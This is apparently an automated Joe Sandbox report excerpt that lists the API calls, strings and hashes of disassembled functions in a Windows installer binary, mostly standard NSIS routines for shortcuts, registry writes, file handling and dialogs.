CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b5b7ab79f27b5d75a187df3fe9f711fb4388b9579a399927462dc59dec62d440
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: b5b7ab79f27b5d75a187df3fe9f711fb4388b9579a399927462dc59dec62d440
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

EnumProcessModules, xrefs: 0040648A
Unknown, xrefs: 004064FC
Module32FirstW, xrefs: 004065D3
PSAPI.DLL, xrefs: 00406464
Kernel32.DLL, xrefs: 0040659B
CreateToolhelp32Snapshot, xrefs: 004065B5
EnumProcesses, xrefs: 00406482
Module32NextW, xrefs: 004065DE
GetModuleBaseNameW, xrefs: 00406494
Process32FirstW, xrefs: 004065BD
Process32NextW, xrefs: 004065C8

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
EnableWindow.USER32(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: @rD
API String ID: 184305955-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
open, xrefs: 004042DF
N, xrefs: 0040426C

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7
F, xrefs: 00406AE8

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: d79db666ee92a39b53e47641609ed565b43369f8775619f718224e07aa5483b4
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: d79db666ee92a39b53e47641609ed565b43369f8775619f718224e07aa5483b4
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: c666975226392a23a96cc8c7abb3eb5c8f7508c76e04a15e1ccd320165ca38cb
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: c666975226392a23a96cc8c7abb3eb5c8f7508c76e04a15e1ccd320165ca38cb
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

